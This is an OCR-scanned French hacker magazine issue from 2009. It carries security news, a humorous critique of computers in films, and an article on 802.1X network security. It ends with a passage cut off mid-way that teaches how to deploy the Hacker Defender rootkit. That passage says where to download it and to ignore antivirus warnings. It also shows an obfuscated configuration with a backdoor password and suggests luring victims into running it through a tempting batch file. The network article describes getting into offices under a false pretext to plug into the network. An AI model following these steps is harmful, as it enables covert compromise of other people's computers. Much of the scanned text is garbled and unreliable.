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Lamer (‘lae'mr)
Aspirant cracker, aux capacités et connaissances informatiques limitées,
souvent maladroit et disposé a mener des actions douteuses et nuisibles.

L e True Lies

La publicité contient les seules veérités fiables d'un journal
(Thomas Jefferson)

Difficile de ne pas susciter de polémiques au train ou vont les
choses. Certains nous ont accusés d’étre partiaux, d’autres de ne pas
nous engager... En attendant, nous allons de I'avant sans battre un cil,
certains des choix que nous avons faits, il y a déja longtemps.

Nous avons été flattés lorsqu’on nous a demandé d’insérer de
la publicité dans nos pages, nous avons également éte tentes par
cette possibilité d’amasser un peu d’argent, nous sommes humains
aprés tout... C’est arrivé a plusieurs reprises et I'un de nos amis avait,
justement lors de I'une de ces occasions, cité la phrase susmentionnée
de Thomas Jefferson, en nous laissant tous ébahis. S’en est suivi une
discussion, animée, sur ce que représentait vraiment le principe de
vérité et de transparence professionnelle, lorsqu’on parle d’un produit
ou de toute autre chose.

Quelle vérité pouvons-nous représenter ? Existe-t-il une verité
représentable ou existe-t-il autant de points de vue, partiaux et
discutables que de narrateurs d’un événement spécifique ? Et
pendant que nous y sommes, notre HNM a-t-il toujours été objectif,
honnéte et juste ???

Honnéte : OUI. Juste : OUI. Objectif : grace a Dieu non, jamais !
Nous n’avons pas la prétention de vous relater la realité telle qu’elle
est, mais telle que nous la percevons et c’est sans aucune géne que
nous nous disons partiaux. A notre humble avis, nous exprimons
librement notre point de vue, ainsi que celui de bon nombre d’entre
vous qui nous lisez, du moins nous I'espérons, mais dans tous les cas
un point de vue personnel et non objectif.

Au fil des ans, nous avons suivi cette regle et nous ne sauterons
certes pas le pas maintenant ! Tandis que tous s’attellent a boucher
les trous, nous, nous défendrons nos positions, nous resterons sur nos
gardes, vigilants et attentifs comme toujours, quant a nos opinions.

La Rédaction
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Publicité piegée, le grand retour des faux antivirus. Le mois de septembre

a vu refleurir sur 13 toile des attaques que nous pensions bloquees,

du moins amoindries. Le site du New-York Times, de Jean-Mare Morandini,

ou @’un politique Francais ont été Ia cible de ce type d'infiltration. Explication !

a méthode n’est pas nou-

velle. Elle a méme fait les

choux gras de pirates infor-

matiques qui étaient ciblés
dans des pays de I’Est. Parmi ces
champions, le Russian Business
Network, un groupe de pirates qui
infiltrait des sites a forte audience.
Des portails d'information comme CBS
News, Ab Moteur, mais aussi des ONG
comme la Croix Rouge, des ambassades,
RSF, ... ont été ciblés en 2007 et 2008.
Cette fois, c'est le prestigieux journal
américain The New-York Times qui a
été la victime d'une attaque. Une fausse
publicité s’est affichée dans ses pages,
début septembre. Une fausse alerte de
sécurité s'est affichée dans I'écran des
lecteurs. Un Pop-up annongant un virus
dans la machine. Une publicité pour le
site best-antivirus03 .com, qui n’est rien
d’autre qu'un piége. Il propose de télé-
charger un antivirus qui est en fait un
espion électronique. « Nous pensons que
la fenétre d'avertissement concernant la
présence d'un virus est générée par une
publicité non autorisée. Si vous tombez
sur un tel avertissement, nous vous sug-
gérons de ne pas cliquer dessus, de
quitter votre séance de lecture et de redé-
marrer votre navigateur Internet » indique
le New-York Times sur son site web (http:/
www.nytimes.com/2009/09/13/business/
media/13note.html?_r=3&hp). Comment
une telle action a pu étre possible ? Plu-
sieurs choix : un iframe malveillant dans
le code source du site officiel du journal.
Une publicité “officielle” au format Flash
piégée. Elle exécute la pop-up au bout

de quelques secondes. La régie publi-
citaire web du NYT infiltrée ? Des
possibilités qui ont déja été exploitées
par des pirates ces derniers mois.
Méme sanction pour le site de Jean-
Marc Morandini, un journaliste spécia-
liste des media Frangais. Une erreur
dans I'administration du site a permis
a un pirate de diffuser une publicité
piégée. g

L'excellent site MAD révélait, a la méme
période, une infiltration du site Internet du
politique Frangais Jean-Luc Mélenchon.
Une nouvelle victime d’un iframe désa-
gréable. Mission du piege, installer
dans les ordinateurs des visiteurs un
code espion malveillant a partir du site
piégé. D'aprés les constatations effec-
tuées, le pirate est passé par une faille
visant WordPress. « Pour vous protéger,
nous vous recommandons l'utilisation
du plugin Bad Behavior » confirme le
Crew Mad. (http://mad.internetpol.fr/
archives/55-Incident-Compromission-
du-blog-de-Jean-Luc-Melenchon.html)

Selon le rapport de IBM et sa X-Force
team diffusé en septembre, il y a eu une
augmentation de 508 % du nombre de
liens Internet malveillants décelés au
cours des six premiers mois de 'année.
Une augmentation des contenus malveil-
lants sur des sites de confiance ont fait
exploser les chiffres. Les exploitations
cachées [faille PDF, ...] ont également
augmenté. Les risques sur les fichiers
PDF détectés pendant les 6 premiers
mois de 2009 ont dépassé le nombre

total pour l'année 2008. « Les tendances
identifiées dans le rapport semblent
indiquer que Internet est devenu un véri-
table Far West ol personne ne peut faire
confiance a personne, a commenté le
directeur en chef d'X-Force, Kris Lamb,
La navigation sire n'existe plus, les logi-
ciels malveillants se trouvant partout
maintenant sur le Web, pas seulement
sur les sites a caractére sexuel. Nous
avons effectivement atteint le point de
non-retour ol désormais chaque site
doit étre considéré comme douteux
et chaque utilisateur est a risque. La
convergence des risques sur le Web a
donné naissance a la tempéte parfaite
en matiére de cybercriminalité. »

Les attaques par injection SQL ont
augmenté de 50 % entre le 4e trimestre
de 2008 et le 1er trimestre de 2009, pour
ensuite doubler entre les 1er et 2e trime-
stres 2009. Les vulnérabilités ont atteint
un somment intéressant. 3 240 nou-
velles vulnérabilités ont été détectées
pendant le premier semestre, soit - 8
% par rapport a 2008. Entre 6 000 et 7
000 nouvelles vulnérabilités sont décou-
vertes, par an. Du c6té des chevaux de
Troie, 55 % des nouveaux logiciels mal-
veillants sont des codes espions. Du
c6té des phishing, les hamegonnages
auraient reculé de de 24 %. 66 % des
attaques par hamegonnage visaient le
secteur financier en 2009. 20 % en 2008.
Prés de 5 failles sur 10 ne sont pas cor-
rigées. 49 % des vulnérabilités détectées
pendant le premier semestre de 2009
n'ont pas été corrigées lors de la consti-
tution de ce rapport en juillet 2009.
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Rohos Mini Drive est un pro-
gramme qui permet de créer
des partitions chiffrées sur le
lecteur de mémoire flash USB.
En dépit de la dénomination “Mini”
le programme offre une solution
convenable pour protéger vos
données que vous souhaitez tran-
sporter. Ce logiciel vous aide a
protéger l'information stockée sur
le lecteur USB, en y créant une
partition invisible et sécurisée.
Vous pouvez travailler avec les
fichiers sans avoir besoin d’un
programme spécial. Fonctionnes
principales : Création d’'une par-
tition virtuelle cryptée sur I'espace
disponible d’'une clé USB; ... http:/
www.rohos-fr.com

Rohos Logon Key
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FAILLE SOL GORRIGEE |
POUR FAGEBOOK

t!ahc, un jeune hacker d’ urlgme Llha-
naise, a découvert une vulnérabilité
‘dans le portail communautaire Facehook.
Linformation est rapidement remontée

“aux oreilles des codeurs de Facebook..

k) faille confirme notre contact chez
] _concernalt plus exactement
une appitcatmn extérieure a notre s:te

“Une |njectlon SQL dans Iappllcatmn -
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NewsCloud qui aurait pu avoir des con-

séquences graves si ldahc n’avait pas
‘alerté a temps les intéressés. A noter
que ce jeune bidouilleur venu du sud a

aussi mis la main sur une faille visant

le club de football espagnole du Real-

Madrid. Méme probléme, une bonne
grosse mlectlon SQL qui aurait pu per-
mettre de voler les informations con-
tenues dans la base de données de ce
prestigieux club,

Wtembre 2009,

1 MILLION DEURDS

ans un jugement du 3 sep-
09, le tribunal cor-
rectionnel de Paris a condamné les
auteurs du site Radio Blog Club (Pére

et fils) a une “prune” dés plus salée.

Le juge s'est reporte au texte de loi




FUITE AU TRIBUNAL
OE GOMMERGE DE PARIS

dentités, adresses électroniques,

informations bancaires (RIB), ...
le site Internet du greffe du tribunal
de commerce de Paris a laissé fuir,
au mois d’aoiit, plusieurs centaines d'in-
formations sensibles appartenant a des
entreprises Francaises. Du 05 au 26 aoilt,
parmi une centaine de fichiers acces-
sibles, 2 docs trés sensibles au format
texte que Google avait intercepté dans
son cache. Comme l'explique le service
informatique du greffe dans les colonnes
de O1net, “une erreur” qui a été rapi-
dement corrigée. Il faut dire aussi que
des Relevé d’ldentité Bancaire accessible
d’'un simple clic, cela fait désordre.

Fuite de données a [IMP

HOT NEWS

UN SEUL
MOT DE PASSE

elon une analyse de I'éditeur PC Tools,

56% des internautes francais n’uti-
lisentun mot de passe unique sur Internet.
Les frangais sont plus imprudents
que leur voisin du Bénélux (45% ont
le méme mot de passe en Belgique,
Luxembourg). 35% au Royaume-Uni,
31% en Australie, et 16% en Allemagne.
D’aprés cette étude, les hommes sont
moins regardants. 26 % des femmes
ont le méme mot de passe pour 47% des
hommes. 5% des Frangais naviguent sur
le net sans aucune protection (antivirus,
firewall, ...). 68% utilisent les mises a jour
automatiques de leurs logiciels, Windows
en téte. Méme pas peur !

trété en 2004, un habitant de Mon-

tauban a écopé, début septembre,
de 42 mois de prison ferme apres
avoir piraté 144 cartes bancaires.
Il 'avait été arrété aprés avoir pon-
ctionné un distributeur de billets auto-
matique (DAB) de Montauban-Ville-
bourbon. Pensionnaire d’une prison
locale pour d’autres délits, 'homme
de 50ans, il a été entendu et jugé ala
suite de son piratage bancaire. Entre la
fin avril 2004 et le 2 mai de cette méme
année, le voleur a exploité plusieurs
dizaines de cartes bancaires falsifiées.
Il va profiter du pont du 1e mai pour
agir. Dans son action, 'homme avait
mis en place sur les DAB exploités
des outils de skimming. Le préjudice
est estimée, d’aprés les banques
piégées, a prés de 100 000 euros.

aming Radioblogclub.fr a la hauteur des
gains tirés de cette activité” indique le
site Legalis. Le succés d’audience (800
000 visites jours) a généré un CA de 403
286 euros en 2006 et de 686 469 euros
en 2007 gréce aux recettes publicitaires,
soit 1 089 755 euros.

Bilan, les respon-
sables du site ont
été condamnés
a reverser cette
somme a la SCPP
et a la SPPF a titre
d'indemnisation.

rradin.hfug.club-'-

tn firewall dans votre ¢lé HSB

Windows 7 Firewall Control 3.0 est un programme de sécurité
informatique fort sympathique. Une excellente application
pour ceux qui n’ont pas de firewall installé sur I'ordinateur utilisé.
Windows 7 Firewall Control 3.0 est proposé gratuitement par I'éditeur
Sphinx software (www.sphinx-soft.com). Mission, protéger vos surfs et
I'ordinateur que vous étes en train d'exploiter lors de vos pérégrinations
électronique. Cet outil nomade n'a pas besoin de s'installer, il suffit de
le garder sur une clé USB, une cadre SD, voir méme sur son iphone/
iPod. Nous avons testé I'objet sur un Windows Vista et le “futur” nouveau
Windows Seven. Ca tourne sans probleme avec une sécurité sire et
efficace. Loutil de Sphinx s’associe parfaitement au centre de sécurité de
Windows. Un sacré bon programme qui supporte, entre autres, Ipv6.
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PIRATE V5
MARRDONA

Jéquipe d’Argentine va-
t-elle regarder la coupe
du monde de football
2010 a la télévision ?
A premiére vue, les terres afri-
caines ne sont pas encore
foulées par les crampons des
joueurs de I'équipe nationale.
Joueur entrainés par le
monument Diego Maradona.
Aprés une défaite cuisante
face au Brésil (1-3) et face
au Paraguay (1-0), Diego
Maradona et certains joueurs
sont pris pour cible par des sup-
porteurs zélés. Quelques sup-
porteurs ont en plus une souris
a la place de la main. Bilan,
le site Internet officiel de la
fédération de football argentine
(www.afa.org.ar) a été piratée.
Diego Maradona a été affublé
d’un maillot jaune... brésilien. A
noter que les clubs de football
sont devenus des cibles privilé-
giées pour les pirates et autres
manifestants numériques.

CHEVAL DE TROIE POUR SKYPE : LE CODE SOURCE REVELE

Ruhen Unteregger, un informaticien Suisse de 33 ans, a annonceé dans un entretien
au journal Gulli la mise a disposition du code source de son cheval de Troie, Trojan.
Peskyspy. Un outil d'espionnage destiné au logiciel Skype. Pour rappel, Skype est un
outil de téléphonie par Internet. Il permet les appels en VolP. La force de Skype, ses com-
munications sont chiffrées. Sauf que I'espion de Ruben permet d'intercepter les con-
versations avant qu'elles ne soient chiffrées. Bilan, plusieurs pays [Suisse, Allemagne,
.] se sont intéressés aux travaux de son entreprise, ERA IT Solutions. Rubben explique
qu'il a souhaité mettre en acces libre le code source de son “mouchard” afin d'aider
les éditeurs d'antivirus a Iintégrer dans leurs bases de données signatures. Bien évi-
dement, 'annonce semble particuligrement intéresser les “autres” communautés du web,
pirates en téte. http:/www.gulli.com/news/bundestrojaner-a-programmer-2009-08-24/

RFl HONEY NET ZATAZ

ttaque par jour, par semaine, par mois, par pays, par méthode, |

... Depuis début septembre, le site  ZATAZ.COM vous propose |
de découvrir les attagues détectées par les serveurs de ZATAZ.
COM et plusieurs satellites Iégaux exploités sur la toile mondiale.
Mission, comprendre le fonctionnement des pirates, leurs méthodes et les
sites qu'ils exploitent dans leurs attaques via Rfi (remote File Inclusion). Le Rfi
(Remote File Inclusion) permet de s’attaquer a un site Internet, a distance, en
exploitant un site distant préalablement piraté. La version publique proposée
permet d’apprécier quelques statistiques intéressantes. Dans le top des pays |
“agresseurs” les Etats-Unis sont en téte avec 35.365 attaques sur les 6 der- |
niers mois. L'Oncle Sam est suivi par la Corée du sud (17.434 cas). LAllemagne
(9.701), la Russie (5.423) et la France (4.148). La Chine se place en 6e position |
avec 3.423 visites. Une version “privée” permet de recevoir les sites exploités |
par les pirates, les liens directs au RFI, les codes sources, .. A noter que le site
a aussi mis en place un espace baptisé HaideD. Il permet de suivre les alertes |
dédiées aux graves fuites de données sur le web francophone. |




PROTEGER
SON GOMPTE TWITTER

Nureply, un webmasteur Francgais
a mis en ligne une idée qui risque
d’attirer pas mal de Twit'terriens.
L'outil, baptisé Recover Stolen Account,
permet de protéger son compte Twitter
du vol. “N'importe quel service & qui
vous avez donné vos codes d’accés
Twitter (A ne JAMAIS faire) ol n’im-
porte quelle application a laquelle vous
avez accordé les droits en lecture et
écriture via oAuth, explique Noreply,
peut en quelques secondes s’accaparer
votre compte Twitter | Pourquoi ? Parce
que Twitter autorise la modification
de I'adresse email via 'API et qu'il est
ensuite enfantin de déclencher une pro-

cédure de changement de mot de passe,

méme de facon totalement automa-
tisée.” http://porn-sex-viagra-casino-
spam.com/hack/une-application-pour-
proteger-son-compte-twitter/

DANGERS SUR INTERNET

3 éditeur d’antivirus McAfee a pointé de
la souris les peoples et autres stars
dangereuses sur le réseau des réseaux.
La belle Jessica Biel détrdone ainsi le
male Brad Pitt alors que Beyoncé reste
2e pour la seconde année consécutive.
Au niveau des résultats francais les
deux célébrités les plus dangereuses
sur Internet sont américaines. Il s’agit
toujours de Jessica Biel. suivie de
Jessica Simpson. La premiére célébrité
frangaise du classement est I'ancien
footballeur Zinédine Zidane. Il est
égalité avec Jennifer Aniston (Friends)
suivi de Carla Bruni, I'épouse du Pré-
sident Frangais, a la quatrieme place.
La sublime Letitia Casta s’assoit sur la
cinquiéme place du podium. Pour,tout
connaitre sur ce classement étonnant,
lire I'article sur Stars-buzz.com.

DES SHIES
DANGERED

Norton propose un systéeme de
contrdle weh intéressant. Baptisé
Safe Web, le site permet de savoir
si une page Internet est dange-
reuse pour le potentiel visiteur.
Les informations sont produites
par les 20 millions de membhres
de la communauté Norton Com-
munity Watch. Mission, transmettre
a Norton les liens et les contenus
potentiellement dangereux. Norton
explique dans son étude que le
nombre moyen de menaces présent
dans les sites du Top 100 était de
18 000. Quatre sites sur 10 de ce
top hébergeaient plus de 20 000
menaces. Prés de cing sites sur dix
du top étaient destinés aux adultes.
La grande majorité diffusent de
faux logiciels de sécurité. Le site
Safe web qui permet de tester I'in-
tégrité d'un site web analyse la pré-
sence de virus, téléchargements
non sollicités, malveillants, modi-
fications de navigateur suspectes,
logiciels publicitaires, voleurs
d’informations, composeurs ou
encore téléchargeurs. Pour tester
le niveau de menace d’un site :
http://safeweb.norton.com
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omment vaincre les extrater-
restres ? Rien de plus facile :

il suffit d’entrer dans leur
vaisseau-meére, de connecter

votre fidele Macintosh a leur serveur
principal et d’y introduire un virus.
S'agissant d’un film de science-fiction -
Independence Day - rien de plus normal
que tout y soit futuriste. Pourtant cet
univers manque totalement de crédi-
bilité. On a déja du mal a croire qu’un
Mac puisse se connecter sans probléeme
a des réseaux de PC classiques, alors
a un serveur extraterrestre | Nombreux
sont ceux qui ont di penser que les extra-
terrestres de ce film n'étaient pas tres
évolués... Qui plus est, un virus informa-
tique créé pour un Mac ne fonctionne pas
sur un PC ou sur Linux (et vice-versa).
Ces extraterrestres devaient donc utiliser
un serveur Mac : un film futuriste certes,
. ~mais au final, peu crédible. Ce qui est surr,
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c'est qu’independence Day nest pas le
seul film a avoir commis des impairs sur
le plan informatique. De Wargames, sorti
en 1983, aux tout derniers films, la partie
informatique ne semble pas avoir été parti-
culierement étudiée par les scénaristes.

:: POUVOIrS surprenants !

Wargames a justement introduit un
théme cher a tous les scénaristes :
celui du branchement permettant
de réaliser tout type d’opération.
Si autrefois il suffisait de passer un coup
de fil au superordinateur de contrle de
toutes les tétes nucléaires ameéricaines,
doté d’'un seul et uniqgue mot de passe
d'acces, aujourd’hui, les choses se sont
largement simplifiées. Grace & Internet, on
s'introduit désormais dans les circuits ban-
caires, on échafaude des plans en inter-
ceptant les images des satellites militaires,

on consulte des bases de données ultra-
secrétes, et on modifie les alarmes des
banques... Le tout avec trés peu ou sans
aucune difficulté. Une situation légerement
différente de la réalité, ol un hacker qui
pénétre dans un systéme moyennement
sécurisé, doit se creuser la téte et prendre
tout son temps, en s’entourant parfois
méme d'une équipe. Sans compter le
fait que tous les systémes ne sont pas
forcément connectés au Net et que bon
nombre d'entre eux disposent de réseaux
isolés, individuels, comme dans le cas
des circuits bancaires. Sans doute le pro-
bléme vient-ils de nous, simples informa-
ticiens, puisque nous avons visiblement
des difficultés objectives d’apprentissage.
Si tel n'était pas le cas, il serait alors dif-
ficile de s'expliquer la réplique de la jeune
fille de 12 ans dans Jurassic Park qui
sauve tout le monde en agissant sur un
systéeme Unix, en déclarant :“C’est UNIX,
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O pifférentes sociétés, dont Sony, étudient
les écrans 3D. Pour gérer les commandes,
les écrans 2D restent bien plus efficaces !

c'est simple I”. Au fond, c'est ce que nous
pensons tous au plus profond de nous-
méme. Qui plus est, pour son admission,
elle l'avait étudié a I'école : «plus facile
que ¢a, tu meurs»... C'est plutét ras-
surant de savoir que l'argent des contri-
buables est si bien dépensé au point de
réussir & enseigner UNIX aux enfants. En
tant qu'informaticiens, notre méconnais-
sance du domaine semble plus qu'évi-
dente, puisque visiblement, il est normal
de pouvoir transférer sur une disquette
d'immenses projets voire la totalité des
connaissances de 'humanité en quelques
minutes (juste avant l'arrivée de l'agent de
sécurité), tout comme il est normal que
l'accés a tout systéme exige un mot de
passe, & travers une énorme fenétre plutot
voyante. Nos disques cryptés et cachés
avec TrueCrypt ne sont plus que de
I’histoire ancienne. Quant aux dimen-
sions, n'en parlons pas : face a des
écrans normaux utilisant des carac-
teres d'une taille inférieure au centi-
métre, les écrans des films utilisent,
eux, des caractéres d'au moins 5 cm !

:: Ol sont passes les clics ?

Autre impair : la saisie. Dans un film,
quiconque utilise un ordinateur,
est forcément en train de saisir
un texte, surtout s’il est montré en
arriere plan d’une scéne principale.
Sans doute s'agit-il d'une nouvelle version
de la Divine Comédie, vu que tous les
acteurs de la plupart des films.semblent
totalement ignorer la souris. Du moins
lorsqu’elle existe, puisqu’elle semble avoir
disparu de nombreux ordinateurs. Dans

certains films en revanche, elle est utilisée
pour répondre aux messages électro-
niques car dans les films, la messagerie
existe et tous les messages recus sont
importants. Les filtres antispams sont si
puissants qu'aucun message n'est inutile.
Que dire, ensuite, des ordinateurs en soi ?
Dans la vie quotidienne, les appareils réel-
lement complexes subissent au fur et a
mesure des réductions de taille alors que
dans les films, en général, plus une chose
est complexe et plus elle doit étre grande.
Bien sdr, plus la machine est grande et
plus ses touches doivent étre grandes.
Des touches qui ne disposent généra-
lement d'aucune étiquette (car ceux qui
les utilisent savent tout par cceur) ou qui
n'en ont que quelgues-unes dont I'incon-
tournable touche d’autodestruction. Une
touche qui, bien sar, pourrait ne pas fonc-
tionner correctement mais pas de panique,
car dans les films il y a toujours une pro-
cédure manuelle qui remédie aux défauts
des machines ! On pourrait répondre
que, face a des erreurs si flagrantes,
certains films proposent toutefois une
description réaliste des choses mais, la
aussi, l'erreur n'est jamais loin.

:: Le futur 2 pif-pff !

L'expérience de tous les jours et les
études de secteur, ont prouvé que
les interfaces 2D avec caracteéres et
touches permettaient d’effectuer de
facon extrémement rapide et précise
des taches méme complexes,
difficilement gérables, pour les humains,
en environnements 3D ou avec des
commandes d’un autre genre. Bien s(r,
puisque Minority Report se déroule dans
le futur, il devait forcément y avoir un écran
3D sur lequel déplacer des fenétres et

O Des interfaces 3D a utiliser tous les
jours ? Certaines existent déja, mais elle
ne sont pas aussi pratiques qu’il y parait.

O LesPC portables des films bénéficient
de la puissance d’'un CRAY et permettent de
naviguer a la vitesse de Ia lumiére.

ce, au mépris de la facilité d’utilisation du
systéme : moderne et cool, il ne pouvait
qu'étre utilisé. A l'instar de l'ordinateur de
I'Enterprise qui, non seulement, comprend
le langage humain mais dispose de dons
de télépathe : face a des commandes
rapides, il parvient en effet & effectuer une
série d'opérations complexes et détaillées.
Parallélement, rien d'étonnant non plus &
ce que les écrans du Nabuchodonosor
de Matrix fassent défiler des inscriptions
“en code source” qui doivent étre inter-
prétées, alors qu'il serait tellement plus
facile, dans un monde si hautement tech-
nologique, de faire directement interpréter
ces symboles par un ordinateur. Passons !
Question connexions : un réve a I'état
pur ! N'importe quel portable fournit des
images de vidéoconférence en temps
réel dans n'importe quelle partie du globe,
et qui plus est avec des performances
dignes d'un CRAY. Bien sr sans cébles et
sans antennes, des éléments largement
dépassés... Parallelement, il arrive dans
les films que n'importe qui sache uti-
liser n’importe quelle interface. Méme
celles n'ayant jamais été vue auparavant.
Ce qui n'est autre que_le symptéme du
monopole des créateurs d'interfaces ou
de l'utilisation d’'un seul systeme d'exploi-
tation pour tout dispositif. Certains répon-
dront que toutes les remontrances faites
jusqu’ici sont bien peu de choses face
aux histoires racontées dans les films.
Mais pour nous, c'est justement ¢a le pro-
bléme : face a des investissements de
millions de dollars, en dépenser une cen-
taine pour faire lire le scénario & un quel-
conque informaticien permettrait d’obtenir
un produit nettement plus réaliste !
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H failles dans les réseaux
Isans fil, mais la premiére

_ _dlétape pour sécuriser votre
réseau consiste a définir préci-
sément ses frontiéres physiques.
Cela peut paraitre incroyable mais la plu-
part des attaques informatigues contre
un reseau n'utilisent pas les structures
sans fil mais le perimetre intérieur dudit
réseau : prises réseau oubliées dans
des salles d’attente, cables passant
dans des zones non surveillées, equi-
pements laissés avec leur mot de passe
standard, et ainsi de suite. Lattaque la
plus classique, par exemple, est des
plus banale : on prend un rendez-vous,
sous un prétexte queleonque, avec une
personne haut place d'un bureau, on
arrive en avance, et on attend patiem-
ment dans la salle d’attente ou, pire, en
salle de réeunion. On demande explicite-
ment sill'on peut travailler en attendant le
boss... et le tour est joue |l y a presque
toujours une prise réseau active dans
chaque piece d'un bureau. S’il elle n'est
pas active, on peut méme se la faire
activer provisoirement, sous prétexte
. de devoir envoyer des mails. Permettre

{p 10 ] _[ hackernewsmagazine |

hureauxy oi/se] Cachentjge multjplesyan

gu'un inconnu branche le cable de son
ordinateur tout aussi inconnu au réseau
d'un bureau, signifie la plupart du temps
dire adieu a toutes les contre-mesures
prises pour lutter contre les attaques
depuis Internet ou le réseau sans fil.

:: Pas seulement au hureau

Il est vrai que ces dangers n’existent
pas que dans les bureaux mais il faut
admettre que les bureaux sont les
espaces les plus exposés, surtout
s'ils s’étendent sur plusieurs étages :

" 3
___ ewouswn |
< EAP-Roquostidently |

EAP-Resporcefidentty |  RADIUS Access-Rsquest
YOTP___ |  RADIUS Acces::

EAP—-Snm“.- s:“

Port Author ized

___ EAPOLLogf |
: i

Port Unauthorized =

O Lauthentification du protocole IEEE 802.1X
permet d’atteindre d’excellents résultats de
sécurité sur les réseaux céblés.

quelquiun peut toujours slinfilirer phy-"
siqguement dans le réseau, sans doute
en coupant un cable et en réalisant une
architecture “man in the middle”. Dans
les habitations, en revanche, ce sont
les veisins qui constituent iun réel dan-
ger. Si vous disposez diune habitation
cablée, par exemple, un voisin peut
tres bien faire un trou dans le mur et
appliquer la méme technique sur vos
cables de connexion. Surtout dans les
habitations neuves, qui dispesent de
plans detailles de I'ensemble des ins-
tallations, une attaque de ce type fonec-
tionne a coup sdr, les plans de cablage
de chaque appartement étant consul-
tables par nimporte qui. Et comme si
ce probleme ne suffisait pas, il faut en
ajouter un autre, nettement plus proba-
ble :les équipements utilisés pour créer
votre réseau. Les mots de passe de
chaque produit reseau commercialise,
du point d'acces au routeur géreé, sont
standards. Chaque fabricant impose
un mot de passe commun a ses pro-
duits, qu'il reporte egalement dans le
manuel d'utilisation et sert au premier
acces. La plupart des utilisateurs et de
nombreux techniciens, par commodité




Firewall

Hub/Switch

Rete
- Wireless

DISPOSITIFS
\EEE 802.1x

Client : le dispositif qui demande I'accés
au réseau LAN et répond aux demandes
des switch. Le client doit impérativement
exécuter un software réseau compatible
avec le protocole |EEE 802.1x. Pour
Windows, il correspond & Windows XP ou
version supérieure. :

Authentication server : contrdle
I'authentification des clients. Son but
consiste a vérifier I'identité des clients
connectés et a autoriser les switch a
accéder au réseau LAN. En général, il s'agit
d'un serveur RADIUS doté du protocole
EAP (Extensible Authentication Protocol).

Switch : contrdle physiquement l'acces
au réseau LAN et est un Edge Switch ou
un point d'accés. Il fonctionne comme un
intermédiaire transparent entre le client
et le serveur d'authentification. C'est le
switch qui envoie au client la demande des
identifiants, en vérifiant avec le serveur
leur authenticité et en autorisant ou non
I'échange de données sur le LAN.
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our étudier un rootkit et

son potentiel, quel meilleur

moyen que d'apprendre a

I'utiliser ? Crées en envi-
ronnement Unix, les rootkits sont
des applications qui appartiennent
a la famille des chevaux de troie.
Leur spécialite, fagon de parler, consiste
a cacher des fichiers et softwares mal-
veillants. Contrairement aux backdoors
traditionnelles. les rootkits ont une emprise
moins importante sur l'ordinateur d'une
victime, c’est pourquoi ils sont beaucoup
plus difficiles a détecter. Bref, entre de
mauvaises mains (ou entre de bonnes
mains, tout dépend du point de vue), ils
se transforment en véritables outils de
hacking invincibles. Aprés cette bréve pre-
sentation, revenons-en au ceeur du sujet :
l'utilisation d’'un rootkit. En réalité, vous
n‘en trouverez pas beaucoup de com-
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Hacker Defender- : mrets Bt IIIIHIIIES ﬂ lIII f
[rogramme qui vient en aide aux IIHB‘I{EI'S

plets dans les parages, car une bonne
partie des hackers préfére confectionner
des versions “maison” et instables. Par
chance, Hacker Defender est doté de
toutes les fonctions du rootkit classique :
facile a configurer et a utiliser pour les
néophytes, facilement accessible sur le
Net, il saura déjouer les analyses antivirus.
Les hackers les plus expérimentés appré-
cieront en revanche la possibilité de le per-
fectionner et de le personnaliser selon des
exigences bien spécifiques.

:: 0l le trouver ?

Vous n'aurez aucun probléeme a
trouver Hacker Defender dans les
circuits P2P comme BitTorrent et
Rapidshare. Une bréve recherche
sur Google vous proposera éga-
lement des liens utiles le concernant.

Vous le trouverez en tapant les mots clés
suivants “Hacker Defender download”,
ou “download hxdef” (“hxdef” étant le
sigle sous lequel il est le plus connu).
Au moment ou nous écrivons, le code
source (les binaires se trouvent ailleurs)
d’Hacker Defender est également
proposé a l'adresse www.hacker-soft.
net/Soft/Soft_11659.htm, tandis que son
site officiel, hxdef.org, ne fonctionne plus
depuis longtemps. Bien sir, comme pour
tous les softwares de ce genre, votre anti-
virus peut percevorr le fichier ZIP d’Hacker
Defender comme une menace. Si tel était
le cas, ignorez 'avertissement, en prenant
bien sir toutes vos responsabilités quant
aux problémes susceptibles de survenir,
Le cceur du rootkit, c'est son fichier de
configuration, au format INI (généralement
hxdef.ini) et donc parfaitement modifiable
avec nimporte quel éditeur de texte.



[H<<<idden T>>a/"hlel
>h"xdef™*
rle<md\.ex<e:

“:\:R:0:0\:L; :P:r>:0:0<:8:5:5:8<:5:>]
h<i>d<e>:d<*
<\n\c:\m\d.\e\x\e

/UM idd\en Ser-vi"ces]
Ha>:ck"er//Def\ender*
/

(Hi:dden R/">>egKeys]
Ha:"c<kerDef\e/nder100
LE".GACY_H\ACK/ERDEFE\ND:ER100
Ha:"c<kerDef\e/nderDrvi100
LE":GACY_H\ACK/ERDEFE\ND:ERDRU100

/
\"[Hid:den\> :ReaValuesl™

i

:: Astuces de camoufiage

Bon nombre des rubriques pré-
sentes - comme nous l'avons vu -
sont modifiées, afin de minimiser les
risques de détection par les antivirus.
Ainsi, par exemple, LE"GACY_H\ACK/
ERDEFE\ND:ER100 correspond en réalité
a LEGACY_HACKERDEFENDER100.
Les caractéeres “superflus” sont bien sar
ignorés par le rootkit lors de l'interpre-
tation du fichier INI. Aprés vous étre fami-
liarisé avec les différentes rubriques et la
nomenclature respective, vous pouvez

Tipo

ASt\artup\ Run/]

“N\Fr<ee>> $:"<pa>cel

“I>H<i>d"d:en<>\ P/:0r:1<s")\:

[Set/tin/:\us] /

P.assw\ord=hxdel-rulez
Ba:ckd:"oor"Shell=hxdeff}$.exe
Fil:eMappin\gN/ame=_.-=[Hacker Defen-
derl=-._
Serv.iceName=HackerDefender100
>Selrvi:ceDisp<://la”’yName=HND Servi-
ce 100
Ser>vic:eDllescr<ip:t"ion=powerful NT
rootkit
Dri<ve\rN:ame=HackerDefenderDru100
D:riv>erFileNam/e=hxdefdru.sys

configurer la totalité du rootkit, en fixant
par exemple les processus auxquels
le lier et le nom des fichiers a utiliser
dans l'ordinateur de la victime. Apres
avoir modifié le fichier INI & votre conve-
nance, passez au lancement du rootkit.
En régle genérale, il suffit de lancer la
commande hxdef100.exe, suivie du nom
du fichier INI. Bien sur, c'est a vous de
décider de la fagon dont convaincre un
utilisateur de lancer ce type de com-
mande. Par exemple par le biais d’'un
fichier batch trés tentant, qui promet d'af-
ficher des images a couper le souffle...

€ ANEWBIE)

Si vous ne spécifiez pas le nom du
fichier INI, I'exécutable recherchera
le fichier EXENAME.INI. En I'absence
de celui-ci, il n'effectuera aucune ins-
truction speécifique. Outre le fait de
spécifier un fichier INI, vous pouvez
indiguer des commandes optionnelles.
Il en existe au moins quatre :
-:installonly

installe le rootkit, mais sans I'exéecuter
-:refresh

force le chargement des parameétres
